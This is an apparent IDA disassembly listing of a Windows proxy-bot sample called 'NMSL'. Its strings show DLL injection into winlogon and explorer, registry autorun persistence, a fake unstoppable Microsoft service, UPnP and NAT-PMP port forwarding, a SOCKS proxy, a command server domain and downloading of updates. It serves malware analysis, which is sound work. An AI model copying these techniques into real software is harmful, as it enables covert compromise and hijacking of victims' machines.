loc_40D747: ; CODE XREF: sub_40D6A0+68j cmp word ptr [ecx+6], 10h jb short loc_40D70A jmp short loc_40D78D ; --------------------------------------------------------------------------- loc_40D750: ; CODE XREF: sub_40D6A0+F2j movzx eax, word ptr [ecx] sar eax, 1 movzx edx, word ptr [ecx+2] shl edx, 0Fh or eax, edx mov [ecx], ax movzx eax, word ptr [ecx+2] sar eax, 1 movzx edx, word ptr [ecx+4] shl edx, 0Fh or eax, edx mov [ecx+2], ax movzx eax, word ptr [ecx+4] sar eax, 1 movzx edx, word ptr [ecx+6] shl edx, 0Fh or eax, edx mov [ecx+4], ax shr word ptr [ecx+6], 1 inc bx loc_40D78D: ; CODE XREF: sub_40D6A0+AEj cmp word ptr [ecx+6], 20h jnb short loc_40D750 and word ptr [ecx+6], 0Fh loc_40D799: ; CODE XREF: sub_40D6A0+39j or [ecx+6], di movsx eax, bx pop edi pop ebx retn sub_40D6A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D7B0 proc near ; CODE XREF: sub_408820+13p jmp dword_411DB0 sub_40D7B0 endp ; --------------------------------------------------------------------------- align 4 dd 212h dup(0) dword_40E000 dd 656E6F64h ; DATA XREF: sub_406A81+584o ; sub_447EEC+584o db 2Eh, 0Ah, 0 aNotDaemonized_ db 'not daemonized...',0Ah,0 ; DATA XREF: sub_406A81:loc_406FC3o ; sub_447EEC:loc_44842Eo aInitializingSe db 'initializing service startup sequence...',0Ah,0 ; DATA XREF: sub_406A81+527o ; sub_447EEC+527o aServiceInstall db 'service installed ok...',0Ah,0 ; DATA XREF: sub_406A81+476o ; sub_447EEC+476o aInstallingSe_0 db 'installing service...',0Ah,0 ; DATA XREF: sub_406A81+462o ; sub_447EEC+462o aRegisteredSe_1 db 'registered service is not running, unrest.',0Ah,0 ; DATA XREF: sub_406A81:loc_406EB9o ; sub_447EEC:loc_448324o aStartingServic db 'starting service...',0Ah,0 ; DATA XREF: sub_406A81+41Do ; sub_406A81:loc_406F3Co ... aI db '%i',0Ah,0 ; DATA XREF: sub_406A81+3FEo ; sub_447EEC+3FEo aInstallingServ db 'installing service, res=',0 ; DATA XREF: sub_406A81+3E8o ; sub_447EEC+3E8o aRegisteredSe_0 db 'registered service is not running.',0Ah,0 ; DATA XREF: sub_406A81:loc_406E55o ; sub_447EEC:loc_4482C0o aRegisteredServ db 'registered service is here...',0Ah,0 ; DATA XREF: sub_406A81:loc_406E3Ao ; sub_447EEC:loc_4482A5o aDonTRegisterIt db 'DON',27h,'T register it',0Ah,0 ; DATA XREF: sub_406A81:loc_406E23o ; sub_447EEC:loc_44828Eo aRegisterItAndR db 'register it and restart',0Ah,0 ; DATA XREF: sub_406A81+392o ; sub_447EEC+392o aNoRegisteredSe db 'no registered service, ',0 ; DATA XREF: sub_406A81+36Bo ; sub_447EEC+36Bo aWaitingComplet db '*** waiting complete...',0Ah,0 ; DATA XREF: sub_406A81:loc_406DD6o ; sub_447EEC:loc_448241o aWaiting___ db '*** waiting...',0Ah,0 ; DATA XREF: sub_406A81+32Co ; sub_447EEC+32Co aRemovingS db 'removing: <%s>',0Ah,0 ; DATA XREF: sub_406A81+2A0o ; sub_447EEC+2A0o aInitializingWi db 'initializing winsock library...',0Ah,0 ; DATA XREF: sub_406A81+24Bo ; sub_447EEC+24Bo aCopyingFailed db 'copying failed %%-(',0Ah,0 ; DATA XREF: sub_406A81:loc_406CA4o ; sub_447EEC:loc_44810Fo aCreateprocessF db 'CreateProcess() failed %%-(',0Ah,0 ; DATA XREF: sub_406A81:loc_406C89o ; sub_447EEC:loc_4480F4o aCmdlineS db 'cmdline: <%s>',0Ah,0 ; DATA XREF: sub_406A81+1DFo ; sub_447EEC+1DFo aCopying___ db 'copying...',0Ah,0 ; DATA XREF: sub_406A81+167o ; sub_447EEC+167o aNewSOldSSelfS db 'new=<%s>, old=<%s>, self=<%s>',0Dh,0Ah,0 ; DATA XREF: sub_406A81+E0o ; sub_447EEC+E0o aWaiting10SecsS db 'waiting 10 secs -- shutdown...',0Dh,0Ah,0 ; DATA XREF: sub_406A81+9Ao ; sub_447EEC+9Ao aShutdownmutexc db 'ShutdownMutexCreate()=%i, h=%i',0Dh,0Ah,0 ; DATA XREF: sub_406A81+8Do ; sub_447EEC+8Do aUpdate_0 db '*update',0 ; DATA XREF: sub_406A81+5Eo ; sub_447EEC+5Eo aInjectionthrea db 'InjectionThread complete',0Ah,0 ; DATA XREF: sub_406815:loc_4069D5o ; DMN1:loc_447E40o aDllStopped___ db 'DLL stopped...',0Ah,0 ; DATA XREF: sub_406815:loc_40699Do ; DMN1:loc_447E08o aDying db 'dying',0Ah,0 ; DATA XREF: sub_406815+173o ; DMN1:00447DF3o aWaitingForDllD db 'waiting for <DLL dies> event...',0Ah,0 ; DATA XREF: sub_406815+129o ; DMN1:00447DA9o aWinlogon_exe db 'winlogon.exe',0 ; DATA XREF: sub_406815:loc_4068D4o ; DMN1:loc_447D3Fo aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_406815:loc_4068CBo ; DMN1:loc_447D36o aIexplore_exe db 'iexplore.exe',0 ; DATA XREF: sub_406815:loc_4068C2o ; DMN1:loc_447D2Do aOldDllFoundWai db 'old DLL found; waiting for <DLL dies> event...',0Ah,0 ; DATA XREF: sub_406815+59o ; DMN1:00447CD9o aTryingSWithSFa db 'trying <%s> with <%s> failed',0Ah,0 ; DATA XREF: sub_40663E+A1o ; sub_447AA9+A1o aTryingSWithS db 'trying <%s> with <%s>',0Ah,0 ; DATA XREF: sub_40663E+5Bo ; sub_447AA9+5Bo aDllInjected db 'DLL injected!',0Ah,0 ; DATA XREF: sub_406576+8Co ; sub_4479E1+8Co aThreadComplete db 'thread complete (%i).',0Ah,0 ; DATA XREF: sub_406576+65o ; sub_4479E1+65o aThreadInjected db 'thread injected (%i).',0Ah,0 ; DATA XREF: sub_406576+42o ; sub_4479E1+42o aProcessOpened_ db 'process opened.',0Ah,0 ; DATA XREF: sub_406576+1Do ; sub_4479E1+1Do aS db '<%s>',0Ah,0 ; DATA XREF: sub_40644C+FEo ; sub_40663E+81o ... aWriteprocessme db 'WriteProcessMemory() ok',0Ah,0 ; DATA XREF: sub_40644C+F0o ; sub_4478B7+F0o aGetlasterror db 'GetLastError',0 ; DATA XREF: sub_40644C+ADo ; sub_4478B7+ADo aExitthread db 'ExitThread',0 ; DATA XREF: sub_40644C+9Co ; sub_4478B7+9Co aLoadlibrarya db 'LoadLibraryA',0 ; DATA XREF: sub_40644C+8Bo ; sub_4478B7+8Bo aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40644C+75o ; sub_4478B7+75o aVirtualallocex db 'VirtualAllocEx() ok',0Ah,0 ; DATA XREF: sub_40644C+31o ; sub_4478B7+31o aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4063D2+Ao ; sub_44783D+Ao aDllNotExtracte db 'DLL not extracted.',0Ah,0 ; DATA XREF: sub_40628E:loc_4063C1o ; sub_4476F9:loc_44782Co aDllOkS db 'DLL ok: <%s>',0Ah,0 ; DATA XREF: sub_40628E+118o ; sub_4476F9+118o aTryingDllS db 'trying DLL: <%s>',0Ah,0 ; DATA XREF: sub_40628E+F8o ; sub_4476F9+F8o aDllFoundS db ' DLL found: <%s>',0Ah,0 ; DATA XREF: sub_40628E+ADo ; sub_4476F9+ADo aCheckingDllS db 'checking DLL: <%s>',0Ah,0 ; DATA XREF: sub_40628E+8Do ; sub_4476F9+8Do a000_tmp db '000.tmp',0 ; DATA XREF: sub_40628E+77o ; sub_4476F9+77o aNmsl_ db 'nmsl_',0 ; DATA XREF: sub_40628E+66o ; sub_40628E+E1o ... aOldDllS db 'old DLL: <%s>',0Ah,0 ; DATA XREF: sub_40628E+36o ; sub_4476F9+36o aR db 'r',0 ; DATA XREF: sub_40628E+16o ; sub_4476F9+16o aFileSWrittenWs db 'file <%s> written, wsz=%i',0Ah,0 ; DATA XREF: sub_406183+E1o ; sub_4475EE+E1o aFileSCreated db 'file <%s> created',0Ah,0 ; DATA XREF: sub_406183+B5o ; sub_4475EE+B5o aFileSNotCreate db 'file <%s> NOT created',0Ah,0 ; DATA XREF: sub_406183+A4o ; sub_4475EE+A4o aWb db 'wb+',0 ; DATA XREF: sub_406183+90o ; sub_4475EE+90o aResourceHereSi db 'resource here, size: %i',0Ah,0 ; DATA XREF: sub_406183+50o ; sub_4475EE+50o a8001 db '#8001',0 ; DATA XREF: sub_406183+2Ao ; sub_4475EE+2Ao aDlltestliste_2 db 'DLLTestListenThread: done...',0Ah,0 ; DATA XREF: sub_406086:loc_40613Bo ; DMN1:loc_4475A6o aDlltestliste_1 db 'DLLTestListenThread: accepting...',0Ah,0 ; DATA XREF: sub_406086+52o ; DMN1:00447543o aDlltestliste_0 db 'DLLTestListenThread: listening...',0Ah,0 ; DATA XREF: sub_406086+37o ; DMN1:00447528o aDlltestlistent db 'DLLTestListenThread: binding...',0Ah,0 ; DATA XREF: sub_406086+10o ; DMN1:00447501o aDlltestthreadP db 'DLLTestThread: pulsing...',0Ah,0 ; DATA XREF: sub_406010+54o ; DMN1:004474CFo asc_40E58E db '**',0 ; DATA XREF: sub_405F73+5Fo ; sub_406A81+317o ... aServicefixerth db 'ServiceFixerThread started.',0Ah,0 ; DATA XREF: sub_405F73+2o ; DMN1:004473E0o asc_40E5AE db '" ',0 ; DATA XREF: sub_405EBA+46o ; sub_447325+46o aRegisterservic db 'RegisterServiceCtrlHandler() failed %-(',0Ah,0 ; DATA XREF: DMN0:loc_405E4Bo ; DMN1:loc_4472B6o aSetservicest_1 db 'SetServiceStatus(): stopped',0Ah,0 ; DATA XREF: DMN0:00405E2Do ; DMN1:00447298o aSetservicest_0 db 'SetServiceStatus(): running',0Ah,0 ; DATA XREF: DMN0:00405E02o ; DMN1:0044726Do aSetservicestat db 'SetServiceStatus(): start pending',0Ah,0 ; DATA XREF: DMN0:00405DDCo ; DMN1:00447247o aServicectrldis db 'ServiceCtrlDispatcher()',0Ah,0 ; DATA XREF: DMN0:loc_405D6Bo ; DMN1:004471D6o aWaitingForStop db 'WAITING FOR STOP EVENT!',0Ah,0 ; DATA XREF: sub_405C00+ACo ; sub_44706B+ACo aEventCreatonEr db 'EVENT CREATON ERROR: %i',0Ah,0 ; DATA XREF: sub_405C00+71o ; sub_44706B+71o aEventCreated_ db 'EVENT CREATED.',0Ah,0 ; DATA XREF: sub_405C00+5Do ; sub_44706B+5Do aWritingToHkcuA db 'writing to HKCU/autorun key...',0Ah,0 ; DATA XREF: sub_405B04+4Fo ; sub_446F6F+4Fo aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_405B04+3Do ; sub_405B04+66o ... aWritingToHklmA db 'writing to HKLM/autorun key...',0Ah,0 ; DATA XREF: sub_405B04+26o ; sub_446F6F+26o asc_40E700 db '*',0 ; DATA XREF: sub_405B04+Fo ; sub_446F6F+Fo aLoad db 'load',0 ; DATA XREF: sub_405A43+15o ; sub_405A43+40o ... aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',0 ; DATA XREF: sub_405A43+1Ao ; sub_405A43+45o ... asc_40E73C db ',',0 ; DATA XREF: sub_40596B+A1o ; sub_446DD6+A1o aUserinit db 'Userinit',0 ; DATA XREF: sub_40596B+15o ; sub_40596B+40o ... aSoftwareMicros db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0 ; DATA XREF: sub_40596B+1Ao ; sub_40596B+45o ... aStartupprogram db 'StartupPrograms',0 ; DATA XREF: sub_4058D5+14o ; sub_4058D5+3Bo ... aSystemCurren_1 db 'System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd',0 ; DATA XREF: sub_4058D5+19o ; sub_4058D5+40o ... aRegreadCanTRea db 'RegRead(): can',27h,'t read key %s',0Ah,0 ; DATA XREF: sub_40576F+A2o ; sub_446BDA+A2o aRegreadReadIBy db 'RegRead(): read %i bytes from %s (%s)',0Ah,0 ; DATA XREF: sub_40576F+8Eo ; sub_446BDA+8Eo aRegreadOpenedS db 'RegRead(): opened %s',0Ah,0 ; DATA XREF: sub_40576F+44o ; sub_446BDA+44o a1ea9b031C3014f db '{1EA9B031-C301-4F76-805F-A41ECF9ED164}',0 ; DATA XREF: DMN0:00405693o ; sub_405C00+44o ... aDescription db 'Description',0 ; DATA XREF: sub_405517+13Ao ; sub_446982+13Ao aDisplayname db 'DisplayName',0 ; DATA XREF: sub_405517+116o ; sub_446982+116o aLocalsystem db 'LocalSystem',0 ; DATA XREF: sub_405517+E9o ; sub_446982+E9o aObjectname db 'ObjectName',0 ; DATA XREF: sub_405517+F2o ; sub_446982+F2o aErrorcontrol db 'ErrorControl',0 ; DATA XREF: sub_405517+BDo ; sub_405517+D9o ... aStart db 'Start',0 ; DATA XREF: sub_405517+A1o ; sub_446982+A1o aType db 'Type',0 ; DATA XREF: sub_405517+82o ; sub_446982+82o aImagepath db 'ImagePath',0 ; DATA XREF: sub_405441+87o ; sub_405517+15Eo ... aSystemCurren_0 db 'SYSTEM\CurrentControlSet\Services\',0 ; DATA XREF: sub_405441+Bo ; sub_405517+Ao ... aProvidesSuppor db 'Provides support for Microsoft Windows® NMSL. This service can n' ; DATA XREF: sub_4052BA+9Bo ; sub_405517+124o ... db 'ot be stopped.',0 aServiceRegiste db 'service registered',0Ah,0 ; DATA XREF: sub_4052BA:loc_405342o ; sub_446725:loc_4467ADo aNmsl db 'NMSL',0 ; DATA XREF: sub_405048+19o ; sub_405092+23o ... aStartingCommTh db 'starting COMM thread...',0Ah,0 ; DATA XREF: sub_404CDF+192o ; DMN1:004462DCo aNatpmpForwarde db 'NATPMP: forwarded to: %i',0Ah,0 ; DATA XREF: sub_404CDF+13Bo ; DMN1:00446285o aSocksPortI db 'SOCKS port: %i',0Ah,0 ; DATA XREF: sub_404CDF+DFo ; DMN1:00446229o aCanTBindListen db 'can',27h,'t bind listen socket!',0Ah,0 aListener___ db 'listener...',0Ah,0 ; DATA XREF: sub_404CDF+14o ; DMN1:0044615Eo aTransferringDa db 'transferring data...',0Ah,0 ; DATA XREF: sub_404645+558o ; DMN1:00446008o aSocksVIS db 'socks v%i [%s]',0Ah,0 ; DATA XREF: sub_404645+119o ; DMN1:00445BC9o aConnectionFrom db 'connection from [%s]',0Ah,0 ; DATA XREF: sub_404645+62o ; DMN1:00445B12o aCanTBindPortMa db 'can',27h,'t bind port mapper listen socket!',0Ah,0 ; DATA XREF: sub_40440D+2Bo ; DMN1:004458A3o aConnectionClos db 'connection closed.',0Ah,0 ; DATA XREF: sub_40417F:loc_4043E2o ; sub_404645:loc_404CB2o ... aDataExchangeCo db 'data exchange complete',0Ah,0 ; DATA XREF: sub_40417F:loc_4043D7o ; sub_404645:loc_404CA7o ... aConnectedToSI db 'connected to %s:%i',0Ah,0 ; DATA XREF: sub_40417F+14Co ; sub_404645+522o ... aConnectionToSI db 'connection to %s:%i failed! %-( (%i)',0Ah,0 ; DATA XREF: sub_40417F+12Co ; sub_404645+4E1o ... aConnectingToSI db 'connecting to %s:%i',0Ah,0 ; DATA XREF: sub_40417F+F0o ; sub_404645+4A3o ... a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_40417F+A5o ; DMN1:0044568Fo aConnectionReje db 'connection rejected (from [%s])',0Ah,0 ; DATA XREF: sub_40417F+8Bo ; sub_404645+D8o ... a_win32__nmsl_u db '_win32__nmsl_um__',0 ; DATA XREF: sub_40410E+10o ; sub_445579+10o aSystem db 'SYSTEM',0 ; DATA XREF: sub_4040C3+31o ; sub_44552E+31o asc_40EAB5 db 0Dh,' ',0Dh,0 ; DATA XREF: sub_40400E+90o ; DMN1:00445509o aISecondsLeft_ db 0Dh,'%i seconds left ',8,8,8,'.',0 ; DATA XREF: sub_40400E+67o ; DMN1:004454E0o aSrvWaitingISec db 'Srv: waiting %i seconds...',0Ah,0 ; DATA XREF: sub_40400E+56o ; DMN1:004454CFo aSrvcommthreadD db 'SrvCommThread: done',0Ah,0 ; DATA XREF: sub_403C3F:loc_403FD3o ; DMN1:loc_44543Eo ; =============== S U B R O U T I N E ======================================= sub_40EB17 proc near ; DATA XREF: sub_403C3F+351o ; DMN1:004453FBo ; FUNCTION CHUNK AT 0040EB92 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0040EBFC SIZE 00000008 BYTES push ebx push edx push esi cmp ah, [eax] jnb short loc_40EB92 popa jb short loc_40EB95 imul ebp, [esi+67h], 64707520h popa jz short sub_40EB90 jb short near ptr aSrvAckReject_0 ; "SRV: ACK rejected IPs failed\n" db 2Eh or al, cs:[eax] sub_40EB17 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40EB31 proc near ; DATA XREF: sub_403C3F+2F5o ; DMN1:0044539Fo push ebx push edx push esi cmp ah, [eax] push ebp push eax inc edi push edx inc ecx inc esp inc ebp and ds:0A3E73h, bh sub_40EB31 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dword_40EB44 dd 3A565253h, 4C504920h, 0A545349h ; DATA XREF: sub_403C3F:loc_403EF0o ; DMN1:loc_44535Bo db 0 byte_40EB51 db 53h, 52h, 56h ; DATA XREF: sub_403C3F:loc_403EE0o ; DMN1:loc_44534Bo dd 5942203Ah db 45h, 0Ah, 0 aSrvAckReject_0 db 'SRV: ACK rejected IPs failed',0Ah,0 ; CODE XREF: sub_40EB17+14j ; DATA XREF: sub_403C3F+252o ... aSrvAckRejected db 'SRV: ACK rejected IPs',0Ah,0 ; DATA XREF: sub_403C3F+239o ; DMN1:004452E3o ; =============== S U B R O U T I N E ======================================= sub_40EB90 proc near ; CODE XREF: sub_40EB17+12j ; DATA XREF: sub_403C3F+220o ... push ebx push edx sub_40EB90 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_40EB17 loc_40EB92: ; CODE XREF: sub_40EB17+5j push esi cmp ah, [eax] loc_40EB95: ; CODE XREF: sub_40EB17+8j jnb short loc_40EBFC ; END OF FUNCTION CHUNK FOR sub_40EB17 outsb imul ebp, fs:[esi+67h], 6A657220h arpl gs:[ebp+64h], si and [ecx+50h], cl jnb short near ptr aSrvSendingReje+18h popaw ; --------------------------------------------------------------------------- dd 64656C69h db 0Ah, 0 aSrvSendingReje db '* SRV: sending rejected IPs',0Ah,0 ; DATA XREF: sub_403C3F+1B5o ; DMN1:0044525Fo aSrvAckHandshac db 'SRV: ACK handshacking failed',0Ah,0 ; DATA XREF: sub_403C3F+19Bo ; DMN1:00445245o byte_40EBED db 53h, 52h, 56h ; DATA XREF: sub_403C3F:loc_403DC1o ; DMN1:loc_44522Co dd 4341203Ah, 6168204Bh, 6873646Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40EB17 loc_40EBFC: ; CODE XREF: sub_40EB17:loc_40EB95j popa arpl [ebx+69h], bp outsb or al, [bx+si] ; END OF FUNCTION CHUNK FOR sub_40EB17 ; --------------------------------------------------------------------------- aSrvHandshaking db 'SRV: handshaking failed.',0Ah,0 ; DATA XREF: sub_403C3F+172o ; DMN1:0044521Co aSrvRip?I db 'SRV: rip? %i',0Ah,0 ; DATA XREF: sub_403C3F+141o ; DMN1:004451EBo aSrvHandshaki_0 db 'SRV: handshaking...',0Ah,0 ; DATA XREF: sub_403C3F:loc_403D68o ; DMN1:loc_4451D3o aSrvConnectingF db 'SRV: connecting failed.',0Ah,0 ; DATA XREF: sub_403C3F+119o ; DMN1:004451C3o aSrvConnecting_ db 'SRV: connecting...',0Ah,0 ; DATA XREF: sub_403C3F+F7o ; DMN1:004451A1o aSrvSI db 'SRV: [%s:%i]',0Ah,0 ; DATA XREF: sub_403C3F+CBo ; DMN1:00445175o aMyPortI db 'my port [%i]',0Ah,0 ; DATA XREF: sub_403C3F+A8o ; DMN1:00445152o aDep_mvl0an7_co db 'dep.mvl0an7.com',0 ; DATA XREF: sub_403C3F+2Bo ; DMN1:004450D5o aAuthorizedIpIS db 'authorized IP #%i [%s]',0Ah,0 ; DATA XREF: sub_403B86+5Fo ; sub_444FF1+5Fo aRunningSS___ db 'running %s (%s)...',0Dh,0Ah,0 ; DATA XREF: sub_40399A+14Fo ; DMN1:00444F54o asc_40ECC7 db '" "',0 ; DATA XREF: sub_40399A+10Co ; DMN1:00444F11o aUpdate db '*update "',0 ; DATA XREF: sub_40399A+E4o ; DMN1:00444EE9o aMsssx db 'msssx',0 ; DATA XREF: sub_40399A+A2o ; DMN1:00444EA7o aDownloadedToS db 'downloaded to: <%s>',0Ah,0 ; DATA XREF: sub_40399A+7Bo ; DMN1:00444E80o aMsss db 'msss',0 ; DATA XREF: sub_40399A+4Bo ; DMN1:00444E50o aUpdateUrlS db 'UPDATE URL: <%s>',0Ah,0 ; DATA XREF: sub_40399A+24o ; DMN1:00444E29o aDownloadedSS db 'downloaded [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+14Bo ; sub_444CA3+14Bo aDownloadedFail db 'downloaded failed: [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+12Bo ; sub_444CA3+12Bo aDownloadingSS db 'downloading [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+AEo ; sub_444CA3+AEo aFopenS___ db 'fopen(%s)...',0Ah,0 ; DATA XREF: sub_403838+87o ; sub_444CA3+87o aWb_0 db 'wb',0 ; DATA XREF: sub_403838:loc_4038A7o ; sub_444CA3:loc_444D12o aInternetopenur db 'InternetOpenUrl(): %i',0Ah,0 ; DATA XREF: sub_403838+51o ; sub_444CA3+51o aInternetopenI db 'InternetOpen(): %i',0Ah,0 ; DATA XREF: sub_403838+22o ; sub_444CA3+22o aMsdownloader db 'msdownloader',0 ; DATA XREF: sub_403838+14o ; sub_444CA3+14o asc_40EDA4 db ' ',0 ; DATA XREF: sub_403723+98o ; DMN0:00404FDAo ... aCWindowsSystem db 'C:\WINDOWS\system32\nmsl.exe',0 ; DATA XREF: sub_403723:loc_40378Bo ; DMN0:loc_404FAAo ... asc_40EDC3 db '"',0 ; DATA XREF: sub_403723+33o ; sub_403723+7Fo ... a_win32__nmsl_s db '_win32__nmsl_sm__',0 ; DATA XREF: DMN0:004036B2o ; sub_4036F6+4o ... a__win32__nmsl_ db '__win32__nmsl_sdm__',0 ; DATA XREF: sub_403604+10o ; sub_403658+4o ... aNatPmpReques_1 db 'NAT-PMP request #%i - port: [%i]',0Ah,0 ; DATA XREF: sub_403322+208o ; sub_44478D+208o aNatPmpFwdReque db 'NAT-PMP fwd request #%i - ok',0Ah,0 ; DATA XREF: sub_403322+1BCo ; sub_44478D+1BCo aReceivingNat_0 db 'receiving NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+171o ; sub_44478D+171o aSetsockoptNa_0 db 'setsockopt NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+13Ao ; sub_44478D+13Ao aSendingNatPmpF db 'sending NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+C5o ; sub_44478D+C5o aRouterIpS db 'router ip: [%s]',0Ah,0 ; DATA XREF: sub_403322+49o ; sub_44478D+49o aNatPmpReques_0 db 'NAT-PMP request #%i - public IP: [%s]',0Ah,0 ; DATA XREF: sub_403113+1D5o ; sub_44457E+1D5o aNatPmpRequestI db 'NAT-PMP request #%i - ok',0Ah,0 ; DATA XREF: sub_403113+192o ; sub_44457E+192o aReceivingNatPm db 'receiving NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+14Ao ; sub_44457E+14Ao aSetsockoptNatP db 'setsockopt NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+113o ; sub_44457E+113o aSendingNatPmpR db 'sending NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+D6o ; sub_44457E+D6o aDefaultGateway db 'default gateway: [%s]',0Ah,0 ; DATA XREF: sub_403113+62o ; sub_44457E+62o aIupnpDiscove_4 db 'IUPnP discovery request #%i: ok.',0Ah,0 ; DATA XREF: sub_402B02+55Do ; sub_443F6D+55Do aControlurl db '<controlURL>',0 ; DATA XREF: sub_402B02:loc_402EFCo ; sub_443F6D:loc_444367o aService db '</service>',0 ; DATA XREF: sub_402B02:loc_402ECFo ; sub_443F6D:loc_44433Ao aService_0 db '<service>',0 ; DATA XREF: sub_402B02:loc_402E9Bo ; sub_443F6D:loc_444306o aUrnSchemasUpnp db 'urn:schemas-upnp-org:service:WANIPConnection:1',0 ; DATA XREF: sub_402B02:loc_402E62o ; sub_443F6D:loc_4442CDo aIupnpDiscove_3 db 'IUPnP discovery request #%i: bad (3)...',0Ah,0 ; DATA XREF: sub_402B02+34Fo ; sub_443F6D+34Fo aLocationS db 'location: <%s>',0Ah,0 ; DATA XREF: sub_402B02+316o ; sub_443F6D+316o aIupnpDiscove_2 db 'IUPnP discovery request #%i: bad (2)...',0Ah,0 ; DATA XREF: sub_402B02+2F5o ; sub_443F6D+2F5o aIupnpDiscove_1 db 'IUPnP discovery request #%i: bad (1)...',0Ah,0 ; DATA XREF: sub_402B02+27Do ; sub_443F6D+27Do aLocation db 'location',0 ; DATA XREF: sub_402B02:loc_402D60o ; sub_443F6D:loc_4441CBo aIupnpDiscove_0 db 'IUPnP discovery request #%i: bad (0)...',0Ah,0 ; DATA XREF: sub_402B02+24Do ; sub_443F6D+24Do aSchemasUpnpOrg db 'schemas-upnp-org:service:WANIPConnection:1',0 ; DATA XREF: sub_402B02+230o ; sub_443F6D+230o aIupnpDiscovery db 'IUPnP discovery request #%i -- checking...',0Ah,0 ; DATA XREF: sub_402B02+224o ; sub_443F6D+224o aReceivingIupnp db 'receiving IUPnP discovery request #%i...',0Ah,0 ; DATA XREF: sub_402B02+1ACo ; sub_443F6D+1ACo aSetsockoptIupn db 'setsockopt IUPnP discovery request #%i...',0Ah,0 ; DATA XREF: sub_402B02+164o ; sub_443F6D+164o aMSearchHttp1_1 db 'M-SEARCH * HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402B02+11Fo ; sub_402B02+136o ... db 'Host: 239.255.255.250:1900',0Dh,0Ah db 'ST: upnp:rootdevice',0Dh,0Ah db 'Man: "ssdp:discover"',0Dh,0Ah db 'MX: 3',0Dh,0Ah db 0Dh,0Ah,0 aSendingIupnpDi db 'sending IUPnP discovery request #%i...',0Ah,0 ; DATA XREF: sub_402B02+113o ; sub_443F6D+113o aXbind___ db 'xbind...',0Ah,0 ; DATA XREF: sub_402B02+F3o ; sub_443F6D+F3o aShit db 'shit!',0Ah,0 ; DATA XREF: sub_402B02+BFo ; sub_443F6D+BFo a239_255_255_25 db '239.255.255.250',0 ; DATA XREF: sub_402B02+45o ; sub_402B02+92o ... aHttpAddmapRe_1 db 'HTTP AddMap request [%s:%i]: code: %i...',0Ah,0 ; DATA XREF: sub_402896+235o ; sub_443D01+235o aHttpAddmapRe_0 db 'HTTP AddMap request [%s:%i]: received: %i...',0Ah,0 ; DATA XREF: sub_402896+196o ; sub_443D01+196o aHttpAddmapRequ db 'HTTP AddMap request: [%s:%i]...',0Ah,0 ; DATA XREF: sub_402896+B0o ; sub_443D01+B0o aPostSHttp1_1Ho db 'POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402896+7Fo ; sub_443D01+7Fo db 'HOST: %s:%i',0Dh,0Ah db 'CONTENT-LENGTH: %i',0Dh,0Ah db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo' db 'rtMapping"',0Dh,0Ah db 0Dh,0Ah,0 aMPostSHttp1_1H db 'M-POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402896+58o ; sub_443D01+58o db 'HOST: %s:%i',0Dh,0Ah db 'CONTENT-LENGTH: %i',0Dh,0Ah db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo' db 'rtMapping"',0Dh,0Ah db 0Dh,0Ah,0 aSEnvelopeXmlns db '<s:Envelope',0Dh,0Ah ; DATA XREF: sub_402896+1Ao ; sub_443D01+1Ao db 'xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"',0Dh,0Ah db 's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">',0Dh,0Ah db '<s:Body>',0Dh,0Ah db '<u:AddPortMapping',0Dh,0Ah db 'xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">',0Dh,0Ah db '<NewRemoteHost></NewRemoteHost>',0Dh,0Ah db '<NewExternalPort>%i</NewExternalPort>',0Dh,0Ah db '<NewProtocol>TCP</NewProtocol>',0Dh,0Ah db '<NewInternalPort>%i</NewInternalPort>',0Dh,0Ah db '<NewEnabled>1</NewEnabled>',0Dh,0Ah db '<NewPortMappingDescription>Windows Security</NewPortMappingDescri' db 'ption>',0Dh,0Ah db '<NewLeaseDuration>0</NewLeaseDuration>',0Dh,0Ah db '</u:AddPortMapping>',0Dh,0Ah db '</s:Body>',0Dh,0Ah db '</s:Envelope>',0 a200 db '200',0 ; DATA XREF: sub_4025A9:loc_402838o ; sub_443A14:loc_443CA3o asc_40F5EE db 0Ah,0 ; DATA XREF: sub_4025A9:loc_402809o ; sub_402896:loc_402A56o ... aHttpDiscover_0 db 'HTTP discovery request [%s:%i]: received: %i...',0Ah,0 ; DATA XREF: sub_4025A9+234o ; sub_443A14+234o aGetSHttp1_1Hos db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_4025A9+173o ; sub_443A14+173o db 'HOST: %s:%i',0Dh,0Ah db 'ACCEPT-LANGUAGE: en',0Dh,0Ah db 